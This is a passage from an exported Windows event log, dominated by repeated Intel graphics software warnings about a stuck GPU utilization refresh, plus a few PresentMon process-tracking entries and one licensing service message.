09:11:02.016\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:02.238\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:02.906\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:03.129\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:03.797\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:04.004\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:04.561\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:04.894\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:05.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:05.340\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:05.562\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:06.677\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:06.889\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:07.103\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:07.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:07.666\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:08.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:08.448\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:08.672\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:08.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:09.561\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:10.339\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:10.561\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:11.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:11.450\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:11.772\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:11.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:12.331\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:12.776\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:12.999\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:13.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:13.535\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:13.971\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:14.409\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:14.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:15.069\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:15.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:16.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:16.297\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:16.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:17.081\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:17.528\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:17.749\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:17.971\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:18.185\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:18.402\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:18.627\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:18.961\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:19.185\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:19.407\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:20.075\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:20.522\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:20.745\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:20.969\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:21.193\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:21.417\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:21.977\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:22.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:22.537\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:22.761\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:22.985\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:23.209\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:23.657\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:23.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:25.113\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:25.784\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.118\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.781\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.986\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.999\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:27.004\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:52.123\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:52.127\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:52.436\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:53.305\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:53.529\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:54.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:54.731\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:54.737\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:56.668\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:12:08.354\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:08.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:08.805\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:09.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:09.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:10.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:10.362\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:10.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:11.142\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:12.362\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:13.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:14.146\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:14.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:15.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:15.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:15.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:16.041\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:16.489\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:17.049\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:17.273\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:17.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:18.169\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:18.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:18.615\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:19.176\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:19.619\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:20.288\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:20.613\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:21.505\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:21.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:22.173\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:22.399\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:23.068\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 